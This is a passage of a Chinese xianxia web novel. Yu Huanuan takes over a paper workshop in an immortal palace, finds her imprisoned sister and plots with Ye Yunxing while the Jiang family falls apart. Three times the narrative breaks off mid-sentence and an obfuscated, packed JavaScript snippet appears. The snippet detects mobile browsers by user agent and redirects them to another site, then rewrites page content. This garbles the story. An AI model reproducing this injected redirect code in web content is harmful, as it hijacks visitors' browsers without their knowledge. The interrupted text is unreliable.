甚至连自己旁边的工友偷偷塞到自己手里,想要坑她多做一些的部分,也微微一笑,不声不响地锤了,像是什么穷苦人家的老实孩子,好欺负还温和。 鱼三海停在树梢上,静静地看。 看着虞花暖像个纯正的卷狗一样,把大半工友的活儿都干了,逼得其他工友从偷偷给她塞点活儿的贼心,到活儿都被抢完自己没得干了的惊惧,直到后半夜,所有人都挂上了巨大的黑眼圈,面面相觑。 然后终于有人慢慢过来,对虞花暖说:“这、这位仙友,不知仙友乃是何方神圣,来我们作坊又有用意?” 虞花暖却只是抬起手臂,擦了擦莫须有的汗,露出了一个憨厚灿烂到有些愚钝的笑容:“还有吗?” 那人愣住。 “方才起,就有不少同僚找我帮忙,都是顺手的事儿,还有吗?” 从不停歇的作坊,因为这句太过格格不入的话,都有了一瞬停顿。 虞花暖见无人回话,挂着笑,回头继续。 第一天,她被塞了无数活儿,她面上表情不变,全盘接受。 第二天,活儿悄然变少了点儿,她把自己的饭大半分给了背后还背着个孩子的年轻女子。 第三天,有人过来对她低语一句“大妹子,干多少工钱都不变了,别这么拼。”她说着“谢谢”,然后把对方的活儿干了。又因为她实在太卷,把所有要打浆的原料都用完了,所以她还临时去帮忙晒纸整纸了,并顺手把忙得快要晕过去的少年一把捞住,反手给他嘴里塞了一颗从姜崇安身上翻出来的回元丹。 第四天,八万张纸的产量提前完成了,陈把头统计的时候,发现她基本上一个人干了一半的活儿。 能提前交货,陈把头那张从来都板着的脸也放松了不少,更不必说,他越看虞花暖杵出来的纸越满意,总觉得这浆要更细,色泽要更腻白,但他面上不显,只悄无声息地将这一批纸放在了最上面,打算连夜便往万神庙去。 又顿了顿,把终于闭眼歇息了的卷狗虞花暖喊了起来:“跟我走,机灵点儿。” 虞花暖于是睁眼就是一脸机灵。 陈把头都看愣了,想说什么又没说出来,最后只变成两个字:“跟上。” 鱼三海悄无声息展翅。 虞花暖在埋头苦干,鱼三海也没闲着,就这样在这四天里把整个归云仙宫都飞了个遍,除却最内里的几座神庙,整个仙宫的模样,已经完全烙印在了虞花暖脑中。 因此,哪怕是此时月黑风高,她也知道,这条路是通往玄峰长老的住所通明殿的。 而她真正想要找的那个人,就住在通明殿后的一间极不起眼的小屋子里,被层层阵法困住,求死不能。 那个人叫虞瓷。 是原主虞觅的亲生妹妹。 …… 叶云行睡不着。 说好了入仙宫以后随机应变,保持联系,他都跟着仙童走了,捏着鼻子拜了师,才想起来自己全身的法宝都被虞花暖一网打尽,连暮山玉都被摘了,怎么联系到她? 在通明殿的第一天,叶云行伏低做小,忍气吞声。 在通明殿的第二天,叶云行低眉折腰,忍辱负重。 在通明殿的第三天,叶云行谄上骄下……阿谀奉承。 是夜,叶云行躺在床上,反思自己的言行,告诉自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17137450|195681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这都是要做大事者不拘小节。 在通明殿的第四天,叶云行对着一群见面先放一石彩虹屁的请谒,从争放马屁,逐渐词穷,甚至败下阵来。 救命啊,他以为自己过去在当暮山小霸王的时候,听过的阿谀奉承的字句已经足够多,自己的积累也不容小觑了,没想到在捅了请谒的老窝以后,他才知道,过去那些人要么是敷衍,要么是菜。 叶云行站在角落发了会儿呆,听着满空气的溢美之词,多少觉得自己忍耐到了极限。 甚至开始觉得虞满也挺不容易的……不是,等等,他来经历这么一遭,不是为了共情那个狗货的。 他是来脚踩镇元仙君,火烧天清老祖,为他娘找回一点场子的。 可虞觅还不联系他,他该怎么办? 叶云行下意识想要摸点儿法宝,然后才想起来,他除了能帮他遮掩境界和五脉的那把扇子,什么都没了。 被薅光全身的第四天,地主家的傻儿子终于摸了摸脑袋,开始思考一个问题。 不是,他是不是被做局了? 叶云行坐不住了。 他深吸一口气。 虞满在暮山都能如鱼得水,他叶云行还能拿不下这么一个小小的通明殿? 没了那些法宝,他叶云行还不能在通明殿混出个名堂了? 叶云行活动一下筋骨,大叫一声,挤开谄媚的弟子群,靠着自己在暮山浸出来完美身子骨,凑到了玄峰长老膝下,弯着眉眼,露出了一个甜甜的笑。 …… 所以等虞花暖到了通明殿的时候,看到的就是体力不支萎靡一地的弟子们,和一个神采奕奕,面上仿若在发光,对着玄峰长老像是永不知疲惫一般滔滔不绝地倾泻出溢美之词的叶云行。 虞花暖低眉顺眼地站在陈把头身后,手臂上托着重重的檀宣纸。 陈把头呈上纸,也算是带虞花暖在长老面前露了脸,做了今天的好人好事,行了礼,就打算退下。 却见玄峰长老一勾手指,最上面的那张檀宣就自动飘到了他的手里,他垂眸很是打量了一番,然后在陈把头心跳越来越快的时候,蓦地开口:“不错。” 陈把头脸上谄媚谦卑的笑还没露完,却听玄峰长老继续道:“八万张纸是打算为难你,让你自己把这个位置让出来的。可现在,我这个弟子家里有人想要你这个肥差,你说怎么办?” 叶云行眼睁睁看着玄峰长老的手指落在了自己脸上。 然后才转头,看到了虞花暖,再看看自己现在的姿势,终于后知后觉地感觉到了一丝……难言的羞耻。 陈把头闻言,却是剧烈地颤抖了起来。 什么自己让出来。 檀宣作坊的把头,确实是肥差。奉神所用的,都是最好的纸,稍有一丝瑕疵都会被淘汰掉。他只需悄悄把那些本应被损毁的纸张倒手出去,便是一笔又一笔数不尽的银子。 可这里也是最严苛的地方,若是完成不了任务……玄峰长老说得轻巧,但他已经在这个位置足足十年,自然知道,等待他的,便是和那些晕死半途的人一样的结局。 ——被废去一切,搜光家产,洗去记忆,扔出仙宫。 陈把头知道不该。 可他不想死。 他想衣锦还乡,想用自己弄来的那些钱,安度余年。 所以他还是抖着腿,向后退啊退,瞬息就站在了虞花暖身后,哑声道:“不敢让长老为难,作坊这就交给我身后这位了,小的这就滚回去了。” 言罢,陈把头竟是真的就这样低低一拜,把腰牌塞给虞花暖,然后连滚带爬地跑了。 叶云行觉得不对,就要出声阻止,便见虞花暖毫不意外般,就这样行云流水地俯身一拜,声音清亮。 “檀宣作坊小虞,见过长老。”她不紧不慢道,“小虞也不敢让长老为难,只是暂替长老看管作坊,只要仙师家来人,小虞即刻将作坊全数交出。” 只要仙师家还能来人的话。 12.第 12 章 叶云行到嘴边的话全都咽了回去,有些麻木了的眼瞳慢慢亮了起来,觉得自己现在这个姿势不羞耻了,久违的干劲也重新涌了出来。 才四天。 虞花暖就这样轻轻松松地拿下了檀宣作坊。 这样下去,假以时日,攻占整个归云仙宫,不在话下! 玄峰长老也在看虞花暖。 能成为长老,又怎会听不懂虞花暖的言下之意。 从虞花暖进入通明殿开始,玄峰长老第一次睁眼扫了跪在那儿的少女一瞬,觉得有点意思。 “好。” 虞花暖勾唇一笑。 意外是没有的。 从姜府听到檀宣作坊这四个字开始,虞花暖就已经想到了如今。 前世在仙宫混了这么久,虽然彼时她是高高在上的藏山大师姐,但她从来都不是那些高居云端,不食人间的仙师。 仙宫是什么样,她最是清楚不过。 有人想要一个位置,好处给足,那么原本在位的人,当然要让出来。而最简单最不留把柄的让位,自然是动一动手指,让这个人尸骨无存。 这世上的人,换汤不换药罢了。 正如没有人想死,有她正好在场可以当这个垫背的,她就会被顺理成章地推出来。 玄峰长老的目光又落在了叶云行的身上:“你觉得呢?” 叶云行这才想起来,这事儿和他假扮的姜崇安也有关。 玄峰长老能听懂的言下之意,他也能听懂。 虞花暖有的是办法让姜崇安那个所谓的家里人来不了这里,而玄峰长老必定想要檀宣作坊的把头是他的人。 叶云行可以自己选择要不要在这里直接解决面前这个人。 这事儿好办。 叶云行短促地呼吸,又像是将这口气强压下去了一般,露出了一个虚假灿烂的笑,眼中却闪动着算计和凌厉:“小虞仙师,我乃家中长子,从未感受过何谓姐弟之情。若小虞仙师愿意,不如……” 虞花暖从善如流,拱手相望,相视一笑:“阿弟。” 叶云行也勾唇:“阿姐。” 玄峰长老露出了一个真正满意的笑。 …… 来的时候是两个人,走的时候,还是两个。 叶云行借口要送送阿姐,和虞花暖装模作样地走出通明殿,然后冷笑一声:“阿姐好手段。” 虞花暖打量他一眼:“阿弟也不逞多让,以后你我二人还要多多走动。” “那是自然。”叶云行皮笑肉不笑,“阿姐若是有什么想问的,我也会知无不尽。” “我来的时间短,还不知长老育有几子几女,可有婚配,如若知道,也好多孝敬几分。”虞花暖边说,边抬手抓过刚刚落在她肩头的鱼三海,在老鸦惊恐的目光里,拔了一根它的毛,递给了叶云行:“给阿弟的见面礼。” 鱼三海:“……” 不是,见面礼就见面礼,拔它的毛算什么!!! 而且它是她师兄的命兽,怎么她拔起来一点都没有心理负担! 叶云行看着鱼三海,有点愣神。 他可不是什么没见识的人,自然能一眼认出,这是命兽。 不是没想过虞花暖到底命印什么,但他万万没想到,她竟是天命。 叶云行欲言又止地看着掌心乌漆嘛黑的鸦羽,半晌,还是没忍住憋了一句:“这也……太黑了。” 不怪他。 都说命兽的模样,多少是可以反应命主的真实内心的,只有七境以上的天命宗师的命兽可以随意变幻自己的形象的。 叶云行当然不会觉得虞觅是什么大宗师。 都宗师了,还能和他小叶为伍? 总之。 这么黑。 简直是他生平仅见。 姐你…… 你的心怎么是纯黑的啊!! 叶云行觉得自己对虞觅的认知又上了一层楼。 难怪对于搅乱归云仙宫这么有自信,他如果心也这么黑,他也会自信起来的! 鱼三海随心所欲惯了,压根没想到这一层,准备辩解两句,但转念想到了什么,又闭嘴了。 嗯……有些人的心……怎么不是黑的呢。 虞花暖假装不懂叶云行的表情,反正不是她的命兽,送羽毛也是为了方便分享视界,以沟通下一步的行动而已。 她又看了叶云行一眼,最后道:“就此别过。此次的奉神檀宣,都是过了我的手的,阿弟若有不够,随时来问我要。” 叶云行懂了。 这次的纸,她都动过手脚,不仅他用,所有人都要用。等到用完了,就要通知虞花暖让她可以准备搞事了。 至于怎么用,何时用,那就都看他叶云行的操作了! 两人各怀鬼胎地别过,虞花暖跟着侯了许久的侍从,穿过长长的回廊。 归云仙宫乃是奉神之地,戒律森明,没有人敢乱闯,惊动了人事小,万一惊扰了神,从此再无回应,那可是要了请谒们的命。 也正因此,通明殿的把守十分寥寥。 侍从带着虞花暖去领了把头的印章,把腰牌上的字变成了一个“虞”字,两人互相一拜,便各走各的路了。 而有人走着走着,就偏离了她应该去的地方。 鱼三海悄无声息地落在了她的肩头,歪头看她一眼,终于忍不住传音问道:“师妹这是要去哪里?” 虞花暖不语,直至她走过复杂错综的长廊殿宇,直至一处极不起眼的屋门前。 她静立门口。 从鱼三海的视界里,她可以穿透这一层门板墙壁和无处不在的符箓咒阵看到内里的气。 一团微弱的,却始终跳动的气。 虞花暖试图唤醒原主,可原主始终无声,她在心底叹了口气,到底还是开了口。 “虞瓷。” 少顷,那团气动了。 她无法打开门,无法看到外面,无法让外面的人看到自己。 可她听到了。 虞花暖看着那团气猛地膨开来,几乎是向前冲来,然后停顿,可她没有停下,还在继续向前。 一次又一次。 虞花暖闭了闭眼。 原主没说过要她救自己的妹妹,因为她已经连自己都救不了。 可她还是来了。 无他。 只是正好,她也有一个妹妹。 往昔的画面如浮光掠影,想要如潮水般将她淹没,她一时有些恍惚。 可往昔太痛,往昔会化作那一日贯穿她的血灵火,也会让她想起没有回应的无垢剑,想起那一日太过鲜艳的红。 她不喜欢看往昔。 所以她重新睁开眼的时候,目光已经重新平静下来,扫了一遍整个房门周遭的困阵,然后飞快按住了从叶云行那儿弄来的暮山玉。 暮山玉乃是暮山至宝,可解万毒,也可以匿踪,非七境以上不能勘破。 有人来了。 那人衣冠华美却不整,眉眼有些肖似玄峰长老,面容还算清俊,脸上泛着不太正常的红晕。他就这样带着酒气踉跄而来,直至扑在了虞瓷的门前。 “阿瓷,你等等我,再等等我。”他抬手去拍那扇纹丝不动的门,:“你要等我,我一定可以……一定可以……可以娶你。” 门内那团气猛地顿住。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17143396|195681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少年的声音有些喃喃,他似是借了酒气才敢在这无人的地方说出内心的话语:“兄长已经死了,我为什么不能娶你,他们凭什么让你守着他的牌位……阿瓷,他都死了,为什么不能是我,你的心里……你的心里明明也是有我的,对吗?” 虞瓷的那团气从静默,慢慢开始颤抖,她似是有些迷茫,又有说不出的羞愤,因为她确信自己听到了阿姐的声音,可如今阿姐不知身在何方,是否听到了这番剖白。 阿姐……阿姐又会如何想她? 华服少年没能停留太久,因为很快就有另一位少女跑来,指挥着侍女将他架起来,然后左右开弓,给了他两个毫不留情的清脆巴掌。 “赵子宁,你给我醒醒!”少女漂亮精致的发饰随着她的动作颤动:“那里面关的,是你我杀兄仇人的妹妹!爱上仇人的妹妹,你怎么不去死!” 赵子宁头发散乱,他盯着面前的少女看了片刻,有些混沌的目光慢慢变冷,然后突然笑了起来:“赵笙歌,那你来告诉我,她是为什么会成为杀兄仇人的妹妹的?别人不知道,不敢说也就罢了,连你也要如此说她吗?赵笙歌,你也是女孩子,你告诉我,你遇见这种事,你当如何?!” 赵笙歌噎住一瞬,但她很快就平静下来:“赵子宁,你一定要站在外人的角度指责已故的长兄吗?千错万错,他也是你我的长兄!长兄生前……明明最宠爱的人,是你,不是我!” 赵子宁沉默了许久,在赵笙歌以为自己已经说服了他的时候,他才惨笑了一声。 “赵笙歌,喜欢一个人,有错吗?”他被侍女架着,抬起头来,长发垂落下去,露出一张苍白的脸:“为长兄做过的事情而感到愧疚和羞耻,有错吗?我只是想做一个正常的人,有错吗?!” “没有错。”赵笙歌眼角血红:“可你姓赵。” 她一字一句,句句如刀剑:“赵子宁,你姓赵,你以为你对她来说就是清清白白的吗?你倘若真的娶了她,就不怕大婚之夜午夜梦回时,她给你心窝上捅一剑吗?!我告诉你,你别做梦了,她恨不得你死,恨不得你和我,还有我们的阿爹都一起去死,难不成你还指望她也会爱你?” 赵子宁大吼一声:“那便杀了我,权当是给我长兄赎罪,我也心甘情愿!” 赵笙歌大笑起来:“赵子宁,你在装什么好人?你我兄妹三人早就烂透了,事到如今,你要来和我讲真心?你配吗?” 兄妹二人僵持不下,虞花暖却不愿再听,转身便走。 等到走出了通明殿,走到了回檀宣作坊的路上,鱼三海才侧头看了一眼身边的少女。 月色皎皎,她换了一张脸,却换不了那双眼睛。 仿佛总是笑着的那双眼睛里,像是泅着一片幽冷的冰湖,倒映不出任何存在。 鱼三海蓦地开口:“你在生气。你为什么要生气?” 不是鱼三海的声音。 男音如夜色里的一抹冷雾,带着一团幽微的疑惑。 是卫鹤眠。 虞花暖没有回答。 她继续在夜色中前行,卫鹤眠也没有催她,却像是在月色下与她踏步同行。 许久。 久到卫鹤眠几乎以为她不会回答了的时候,虞花暖突然开口:“师兄,你说,真心到底是什么?” 卫鹤眠似是被问到了,他很是想了想,然后才道:“不知道。但如果师妹想看心,我倒是可以掏出来给你看看。” 虞花暖:“……” 谢谢师兄。 让她的一腔感怀突然变得血里血气了起来。 于是她也笑了起来,月色敛入弯弯的眼瞳:“那就一言为定。” 13.第 13 章 梅洱剑宗灯火通明。 姜府灯火也通明。 那一日走得太过着急,三长老没来得及将姜耀儿那条被斩落的手臂带回来。 剑宗里供请的那位胡姓雀林虽然能断臂重续,但前提是断臂还在。想要无中生有,已经超出了他的能力。 失去持剑的手,等于要了止戈的命。姜耀儿这辈子都没受过这么大的挫折,他脸色极其难看,脾气也因为这般连番刺激而变得更暴戾:“连你也来欺负老子是吗!你他妈的要是不给老子治好,老子……” “老朽不过一雀林,救命救人,关键在于一个救字。姜公子不过失去了一条胳膊,又不是没命了。”胡老慢悠悠打断他,半点没有被威胁的惧怕:“要么呢,请姜公子把胳膊捡回来。要么呢,另请高明吧。哦,对了,雀林没用,要请农稷,也不用太厉害,五六境就够了,他们可以给你种一根新的胳膊出来。” 姜耀儿被他的措辞说得全身发麻,才要说什么,便听到不远处有女声的尖叫响起:“承脉大会还有七日,我不管你用什么办法,都得给我找一具身体来!我不能这个样子去承脉大会!虞满呢!传信让虞满回来!立刻!马上!让他来给我们撑场面!” 兄妹二人彻夜难眠,发信去往清河坊姜府,希望他们能上归云仙宫,想想办法,请仙宫里的长老出手。 不是不想自己联系玄峰长老,可姜慕儿深知,自己如今这番模样,决计不能让对方看到,否则就算有那帖子,也于事无补。 至于宗主剑印的事情,她用自己仅剩的脑袋寻思一番,决定暂且不告知。毕竟哪怕一母同胞,也未必能真正与她同心,该防,还是要提防的。 还好。 还好她帷幄千里,算算时间,她的好侄子姜崇安拜入赵玄峰门下,也就是这两日了,恰好让他帮自己带话。 届时她重塑肉身,东山再起,指日可待! …… 却不知此时的姜府,也人仰马翻,狼藉一片。 虞花暖的那几道现学现用的请神诀效果惊人,那些屋子有的起火,有的落雨,有的被风刮到半空再砸落,当然,更多的还是简单直接,一声惊雷般的巨响后,就被炸塌了。 塌了这边塌那边,大家哭天喊地中看到姜崇安的那间书房没塌,心中本还是一喜,结果转瞬好不容易推开门,就看到了奄奄一息躺在地上,灵脉破碎,面皮被剥,已经完全是个废人了的姜崇安。 姜家家主姜尊儿双目赤红地盯着自己的儿子看了片刻,再想到自己刚刚看完的信,两眼一黑,直接晕了过去。 一旁等了许久,说好要去归云仙宫接任肥差的姜家大伯颤了颤,也径直跌坐在地。 完了,全完了。 到底是谁对姜家仇恨至此,竟然下此狠手! 他、他的锦绣前程,他的金山银山,难道一夜之间就要化为乌有了吗! 所有人都想到了这日晨间的闹剧,心中多少都有了猜测。 醒来后的姜尊儿颤着手,让手下去要人,再报一次官。有人讷讷地问是否要上报仙宫,请求相助,却被姜尊儿一巴掌打翻在地:“蠢货!这种事情怎么能让仙宫知道!你是想彻底绝了我姜家的所有后路吗!崇安废了,我还有别的儿子可以顶上去,万不能让仙宫知道我们如今的情况!” 他思忖片刻,眼中掠过一道狠色:“去,上呈仙宫,就说崇安外祖有丧事,要延缓三五日守孝,再入仙宫。” 下人忍不住惊诧抬头:“可是……可是他老人家还健在,仙宫中的大能仙师们无所不知,倘若知道我们欺骗……” 然后,他的声音在姜尊儿阴狠的眼神中变低,变无,最后变成了吩咐下去的命令。 破败一片的姜府还来不及修缮,就挂起了白幡。 而姜夫人刚刚经历了儿子彻底成了废人之痛,又得知自己的丈夫心狠至此,竟然不惜手刃了自己的父亲,在出丧那一日,众目睽睽之下,一刀砍向了姜尊儿。 血迹斑驳,将悬挂的白幡染得刺目,却没有伤及要害,姜尊儿按着伤口,正要张口怒骂,指挥下人将姜夫人拿下囚禁,却有一下人颤颤跑来:“老爷,老爷!仙宫回信了——” “信上说,不懂老爷在说什么,少爷明明已经拜入了玄峰长老门下……” 姜尊儿愣住了。 他低头看着自己胸前的血,看着面前状若疯癫的夫人,再环顾四周刺眼的惨白,突然笑了一声。 然后彻底昏死了过去。 …… 姜府门外。 一袭单薄白衣的俊秀少年蹲在地上,挠挠头,眨巴了几下眼睛,有些不可思议:“……这就结束了?看起来好像完全不需要我们推波助澜,再做点什么的样子,这姜家应该也掀不起什么风浪了?” 正是原本被姜府抓去,作为姜崇安预备灵脉素材的拂尘山四师弟谢执襄。 便如虞花暖所说,只要他不那么容易死,她把姜府搅成这般模样,只要有腿,都能跑出来。 他本来就是去探探情况的,姜家对他的那些把戏其实压根什么用都没有。他不过将计就计,想要看看这群人究竟想要做什么。 结果他正躺在关押他的那间房子里哼着小调,结果只听外面轰轰哐哐的几声,门就掉了,也没人管他,他躺了两天什么都没等来,于是就像是逛什么热闹的案发现场一样,一路信步闲庭,到了门口。 ……然后遇见了疑似同样在看热闹的二师兄。 谢执襄就这么跟着卫鹤眠看了姜家一出好生精彩的楼起楼塌,啧啧称奇,拊掌而叹:“没想到我三师姐平时不显山不露水,一出手竟然如此……” 他想了半天,一众词语在脑子里转来转去,又觉得太凶神恶煞,所以最终变成了:“如此有二师兄的风范。” 卫鹤眠终于舍得施舍给他一个眼神。 谢执襄继续道:“所以三师姐现在去归云仙宫当卧底了吗?五师妹想必也在来的路上了吧?我们真的只需要在这里等她的消息,不需要帮她什么忙吗?唉,师弟我啊,总是在想要帮忙的时候毫无用处啊。” 他长叹一声,又一声,摇了摇头,发自肺腑般感怀道:“可惜,可惜,热闹都是他们的,我什么也没有,只能和师兄在街边喝着茶摇头惋惜,人生竟是如此的寂寞。” 谢执襄絮絮叨叨半天,自问自答不亦乐乎,早就习惯了卫鹤眠根本不会有什么回应。 未曾想身边之人沉默许久,突然道:“真心是什么东西?” 谢执襄:“……啊?” 他迷茫抬头,然后在心底忍不住感慨一声,他这种死亡角度下的二师兄依然俊美如斯……等等,不是,他刚才说什么来着? 真心? 什么真心? 是指真人的心吗? 谢执襄挠挠头,再挠挠脸,没忍住,还挠了挠下巴。 他见鬼了一样盯着卫鹤眠看了许久,半晌,脑子里也只冒出来一句话。 二师兄被人夺舍啦? 那、那也只能怪夺舍的那人不仅眼神不好,命也不怎么好了。 …… 夜色漫长。 虞花暖走了这么一遭,再回到檀宣作坊的时候,天色依然沉沉。 可她离开时的作坊尚一片沉寂,待她归来,竟远远看到,有人举着火把,在路口张望,直至看到她的身影,才猛地停下。 再近一些,便能看清那些人的面容。 正是那日被她分了饭的年轻女子,她塞过回元丹的少年,还有被她顺手帮忙接过了手中的活儿的工友们。 一排人站在那里,竟是蜿蜒成了一条高低错落的火线。 陈把头将她叫醒带走时,明明寂静无声,可还是有人看到了。他们不知道她会被带去那里,什么时候才能回来,也不敢离开檀宣作坊太远,所以他们只是在这里沉默地等待。 他们也不知道自己在等什么。 一个她或许能回来,也或许不会回来的消息。 过去已经有太多他们身边相熟的面孔,莫名消失在了天色昏沉时,那些疑问和微乎的关切都消散埋藏在了恐惧之下。 但这一次,他们不想沉默了。 因为不会再有人在他们最微末之时,还愿意搭一把手,分一口饭,点燃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17147683|195681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一簇小却难以熄灭的萤火。 他们想要留住这样的柔软。 虞花暖于是笑了起来。 她走近火把蜿蜒的暖光里,举起了自己成为了新的把头的腰牌和印章:“诸君,从现在开始,我就是檀宣作坊的新把头了。” 一片静默。 有人终于颤颤开口:“那……陈把头呢?” 虞花暖微微一笑:“至少从今以后,他再也不会回到这里了。” 这句话后,大家有如大梦初醒,面面相觑,不可置信。 “当……当真?”有人轻声喃喃:“今后当真不是陈把头主事了?那我也不必……不必因为弄坏了几张檀宣,就要给他还这一生都还不完的债了?” 蓦然又有一声哭泣,那人拖着泪腔:“我的老父老母都已经在为他押送檀宣的路上被杀了,我本以为乃是恶贼所为,可那日无意听到,原来是他一家两吃,自导自演……可怜我的小妹,无依无靠,还被他强抢入后宅,威胁我若不好好干,他就对我小妹……” “说好了帮他做旧檀宣,帮他偷运出去,就给我分两成利润的……我、我还没拿到钱,可我一家老小都在他的掌握之中,我……” 人声此起彼伏,如山如浪。 没来的那些工友听到动静,也起身来看,然后在闻讯后,如大喜大悲,跌坐在地。 那么多道声音,那么多件事情,桩桩件件,都是血泪。 他们并不在乎有没有人能听到,不在乎会不会有人为他们主持公道,只是过去这数年里,他们碎了的牙齿都只能往自己肚子里咽。 那么多的活儿要做,若是做不完,等待他们的就是死亡,他们的死亡后面,还要连带着串着家人们的血。 他们想要的,只是……只是有一个能够说话的机会。 仅此而已。 虞花暖举着把头腰牌的手渐渐垂了下来。 她只是平静地看着面前的一切,没有安慰,没有劝解,没有悲悯,也没有任何承诺。 因为进入仙宫这件事本身,是他们自己争破头抢夺来的机会。 仙宫从未说过这里是极乐之地,坊间从来都说,最辉煌灿烂的地方,吃人才最不会吐一粒骨头。 事实和真相并未被遮掩,只关乎信与不信。 人总要为自己的选择负责,承担一切后果。 想要鱼跃龙门,想要求财,想要成为所有人艳羡的人上人,拥有命运馈赠的一切,总是有标价的。 在偷卖檀宣的巨大利益链里,每一个卷入其中的人,都不是无辜的。 不去拆穿这一切,只是静静倾听,已经是她的慈悲。 所以等到人声渐熄,天色微明,有人哭够了,演完了,终于偷眼去瞧这位新来的、看起来年纪过轻的少女把头,试图从她的脸上看到什么心软无措之色时,却只看到了她近乎冷漠的平淡。 “诸位,哭完了吗?天亮了,该上工了哦。今天的任务虽然没有昨天那么多,但也要按时完成哦,这次可没有我来帮你们啦。” 她从来都不是来拯救他们的,该被拯救的,也从来都不是他们。 虞花暖温声细语地开口:“如果不能完成,也会有人来带你们去小黑屋的。” 所有人都沉默下来。 仿佛从一个地狱坠落到了另一个地狱。 “另外,如果让我发现有人背着我倒卖檀宣……”虞花暖微微一笑,抬手比了一个动作:“我就送他去当点火的燃料。” 有大娘终于忍不住低声抱怨一句:“小姑娘年纪轻轻,怎么如此心狠……” 虞花暖啼笑皆非地扫去一眼:“因为这个世界上,本就到处都是豺狼,诸位也一把年纪了,难道不明白这个道理吗?” 有人忍不住讷讷道:“小、小虞把头,那……您去哪里?” 虞花暖摆摆手:“大家的心声我都听到啦,新官上任三把火,我也总要给大家表示一下,给大家解决解决后患之忧。” “怎、怎么解决?” 她回头,嫣然一笑:“谢谢你们在这里等我,我这就去帮你们杀了陈把头。” 14.第 14 章 人性,人心。 虞花暖看得太多。 正如她清楚地知道,他们手持火把来等她,是昏暗中的一点真。可真正看清她手中的把头腰牌时,那点真就会重新沉入混沌之中,消散无踪,变成写满了心机和算计的试探。 正如她此前所想。 哪里有压迫。 哪里就有……暴民。 而她所有的话语,都在指引他们做一件事。 他们唯一,也是最能够威胁到她如今地位的一件事。 罢工。 没有把头会不怕这一招。 因为檀宣作坊一旦真的停摆,紫金檀宣的供应断了,八大神庙需要檀宣的时候供应不及,一旦问责下来,负责作坊的玄峰长老的雷霆之怒便会全部落在把头一人身上。 而众所周知,通明殿的那位玄峰长老,除却见到了灵石和真金白银,其余时候,绝非好相与之辈。 如此贪财之人,若有人敢阻了他的财路,他自然有的是办法让这人求生不得,求死不能。 而既然这位小虞把头话里话外都不愿意将偷卖檀宣的生意给大家分一杯羹,那便也不要怪作坊里的大家不太客气。 过去的那点儿帮忙,那点儿温情? 她不会觉得,靠这点儿恩德就可以让大家对她感恩戴德,肝脑涂地吧? 毕竟她自己都说了。 这个世界上,处处是豺狼。 小姑娘啊,就让檀宣作坊来教你做人的道理吧。 …… 所以小虞把头上任的第一天,檀宣作坊罢工了。 消息十万火急地递到通明殿,却被早就候在这里的叶云行悠哉游哉拦下,笑眯眯说这就立刻告知师尊,还请大家稍安勿躁,许是新来的把头不懂事,等他向师尊禀报完,就自己走一趟,看看是怎么回事,千万不能让作坊的大家受苦。 递消息的工友感动不已,速速回了作坊,翘起了二郎腿,哼起了小调,只等小虞把头的受难之时来临。 他们在等。 虞花暖也在等。 而叶云行也并没有让她等太久。 不过短短半天,叶云行便传信来了,说一切就绪。 快得让虞花暖都有些咋舌。 这才多久,八万张奉神檀宣纸他就已经亲自分去了八大神庙之中,说是亲自盯着这纸放在了最上面,也眼见了奉神请谒们的落笔,万无一失,这才回来复命的。 这是何等的行动力,何等的精力。 不是,这小子不用休息的吗。 虞花暖浅浅算了算完成叶云行做的事情究竟需要多长时间,又回忆了一下自己和陈把头第一次去通明殿时,看到满殿弟子都体力不支倒下,只有叶云行还在生龙活虎地输出…… 然后发出了一声感慨。 是她看走眼了。 叶云行的本质,原来不是萨摩耶。 而是邪恶比格。 哪里可以干坏事,他就兴冲冲往哪里跑得飞快,不知疲惫,不用休息,宛如永动机。 之前她还想过,以叶青玄只手遮天的性格和能力,叶云行怎么也不可能偷摸摸下山而不被察觉。 现在,她深刻怀疑,应该是叶青玄实在受不了邪恶比格了,所以睁一只眼闭一只眼地把他扔了出来。 别拆自己家了。 给孩子挂满宝贝,吸引目光,增加被捡走的概率,达成放狗拆别人家的目的。 太是叶青玄能干出来的事儿了。 瞧,这才多久,归云仙宫的八大神庙里,已经放满了邪恶比格的小小阴谋。 最关键的是,距离姜慕儿期盼已久的承脉大会,便在两日后。 两日时间。 说长不长,说短不短。 足够神庙里的请谒们将那些纸张都书写完毕。 足够檀宣作坊罢工的事情再也压不住,在外等候檀宣瑕疵品的生意人们抓耳挠腮,终于忍不住想要入仙宫一探。 也足够在梅洱剑宗的姜家兄妹久等姜家的消息不到,逼着虞满回来,提前杀气腾腾冲到清河坊兴师问罪。 那个时候的姜家兄妹会是什么样的表情呢? 一定很精彩。 